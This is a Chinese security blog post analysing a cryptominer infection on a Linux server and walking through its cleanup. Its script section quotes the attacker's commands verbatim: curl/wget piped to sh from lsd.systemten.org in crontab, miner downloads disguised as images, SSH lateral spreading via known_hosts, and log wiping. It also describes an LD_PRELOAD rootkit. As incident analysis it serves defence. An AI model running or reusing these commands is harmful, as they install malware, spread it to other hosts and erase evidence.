挖矿病毒深度分析 – 安全客,安全资讯平台 | xxx挖矿病毒深度分析 – 安全客,安全资讯平台 – xxx
菜单

挖矿病毒深度分析 – 安全客,安全资讯平台

四月 23, 2020 - 安全客

挖矿病毒深度分析 - 安全客,安全资讯平台

 

起因

朋友公司遇到了一起挖矿病毒事件,找我帮忙看看。

 

入侵分析

基本信息检查

当我登录服务器做检测时,top回显并未发现异常进程:

挖矿病毒深度分析 - 安全客,安全资讯平台

但是在crontab中发现一条异常的定时任务:

挖矿病毒深度分析 - 安全客,安全资讯平台

通过访问定时任务中的url,发现是一个shell脚本(目前已被黑客删除):

挖矿病毒深度分析 - 安全客,安全资讯平台

脚本分析

有了攻击脚本的话,我们就能更加快速的了解他的攻击方式了,所以让我们来分析下脚本到底干了些什么:

创建定时任务,不断检测,确保不被删除

echo "*/10 * * * * (curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh"|crontab - cat > /etc/crontab <<EOF SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin */10 * * * * root (/usr/local/sbin/sshd||curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh EOF 

果然是黑客,领土意识就是比一般人强,第二步就是检测主机上是否存在其他的挖矿病毒,有的话直接干掉

ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9 ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9 

开始下载挖矿木马了,黑客事先已经将木马文件上传到一些图片分享网站,通过脚本将木马下载到特定目录下并修改文件名,添加执行权限并启动

cd /tmp touch /usr/local/bin/writeable && cd /usr/local/bin/ touch /usr/libexec/writeable && cd /usr/libexec/ touch /usr/bin/writeable && cd /usr/bin/ rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable export PATH=$PATH:$(pwd) if [ ! -f "/tmp/.XImunix" ] || [ ! -f "/proc/$(cat /tmp/.XImunix)/io" ]; then     chattr -i sshd     rm -rf sshd     ARCH=$(getconf LONG_BIT)     if [ ${ARCH}x = "32x" ]; then         (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190627/b91559ac5f6d4d2f94f9fba20121170c.png -o sshd||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190627/b91559ac5f6d4d2f94f9fba20121170c.png -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL res.cloudinary.com/dfrlxpr5x/raw/upload/v1561641090/x32_werii1 -o sshd||wget --timeout=30 --tries=3 -q res.cloudinary.com/dfrlxpr5x/raw/upload/v1561641090/x32_werii1 -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload/1561641327467/1.4684002168716392.jpg -o sshd||wget --timeout=30 --tries=3 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1561641327467/1.4684002168716392.jpg -O sshd)     else         (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190627/d6dced5199434ee898670f773eaaa069.png -o sshd||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190627/d6dced5199434ee898670f773eaaa069.png -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL res.cloudinary.com/dfrlxpr5x/raw/upload/v1561641004/x64_fi6qkp -o sshd||wget --timeout=30 --tries=3 -q res.cloudinary.com/dfrlxpr5x/raw/upload/v1561641004/x64_fi6qkp -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload/1561641163354/5.326312443776953.jpg -o sshd||wget --timeout=30 --tries=3 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1561641163354/5.326312443776953.jpg -O sshd)     fi   fi chmod +x sshd $(pwd)/sshd || ./sshd || /usr/bin/sshd || /usr/libexec/sshd || /usr/local/bin/sshd || sshd || /tmp/sshd || /usr/local/sbin/sshd 

黑客当然不满足占领一台主机,所以脚本会遍历root,/home/*目录下的所有.ssh文件,尝试横向转播,扩大战果

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then   for h in $(grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done fi  for file in /home/* do     if test -d $file; then         if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then             for h in $(grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done         fi     fi done 

最后就是常规的毁尸灭迹了(这个方法有点糙。。。)

echo 0>/var/spool/mail/root echo 0>/var/log/wtmp echo 0>/var/log/secure echo 0>/var/log/cron 

再次排查

我们先把crontab进程关闭,防止排查过程中不断的执行从而干扰排查工作。然后将定时任务注释或删除:

挖矿病毒深度分析 - 安全客,安全资讯平台

回到刚开始排查是的情况,为什么我们在top回显中一条异常信息都看不到呢?我又在主机上搜索了下脚本中提到的sshd木马:

挖矿病毒深度分析 - 安全客,安全资讯平台

ps和netstat命令都看不到sshd的进程信息,这个信息说明sshd是一个带有隐藏信息的rootkit,netstat中能显示端口信息但是无法显示进程信息所以能确定,这并不是一个内核级别的rootkit(为毛我有点高兴又有点失望呢。。。),所以这只是一个用户态的malware。
用户态的malware方式无非就是:

我将一台正常主机的ps和netstat命令拷到本机进行测试发现还是无法看到sshd:

挖矿病毒深度分析 - 安全客,安全资讯平台

mounts中也没有看到异常的挂载:

挖矿病毒深度分析 - 安全客,安全资讯平台

那基本能确认是动态库劫持导致的隐藏,现在我们就要用到一个神器了—-“busybox“,busybox具有系统通用的命令,而且运行的时候是通过静态库调用,详细信息大家可以点击链接去了解。

通过busybox,我们终于看到了那些潜伏的进程:

挖矿病毒深度分析 - 安全客,安全资讯平台

挖矿病毒深度分析 - 安全客,安全资讯平台

先干掉{sshd} [kthreadd]进程,然后干掉/usr/local/sbin/havegeds,因为sshd才是主进程,不先干掉sshd的话,它会不断检测拉起挖矿病毒,然后通过yum命令remove原来的openssh-server,然后重新安装openssh-server服务。

但是我们现在通过netstat和ps命令来查看进程时,还是无法看到sshd等进程,这是因为我们之前的动态库hook问题还没有解决。
我们通过strace命令来看下命令执行时的系统库调用情况:

挖矿病毒深度分析 - 安全客,安全资讯平台

在ps命令执行时,优先加载了ld.so.preload中设置的libboost_timed.so动态库,可以看出黑客是通过利用LD_PRELOAD加载恶意动态链接库达到隐藏的目的,到该动态库下通过busybox ls命令查看,发现那个恶意动态库文件

挖矿病毒深度分析 - 安全客,安全资讯平台

将此恶意动态库文件移除后,终于重现sshd进程了:

挖矿病毒深度分析 - 安全客,安全资讯平台

对libboost_timed.so文件进行简单的逆向后,发现它还会对多个文件进行修改:

挖矿病毒深度分析 - 安全客,安全资讯平台

到/var/spool/cron/目录下将两个root文件都删除了,突然想了下,他是不是还在开机启动项里面留了后门呢,所以立马cd到/etc/init.d/目录下看了下,果然发现了:

挖矿病毒深度分析 - 安全客,安全资讯平台

立马rm了。

最后我们将一开始写入的crontab任务都删除,到现在为止本机上的挖矿病毒算排查完成了。

 

安全防护

  1. SSH:
    ① 谨慎做免密登录
    ② 尽量不使用默认的22端口
    ③ 增强root密码强度
  2. 有很多挖矿病毒是通过Redis未认证接口进行攻击的,所以建议使用redis的同事做以下加固:
    ① 增加授权认证(requirepass参数)
    ② 尽量使用docker版本(docker pull redis)
    ③ 隐藏重要的命令
  3. 不要安装来源不明的软件,不管是在个人pc还是在测试服务器上!!!

END


Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51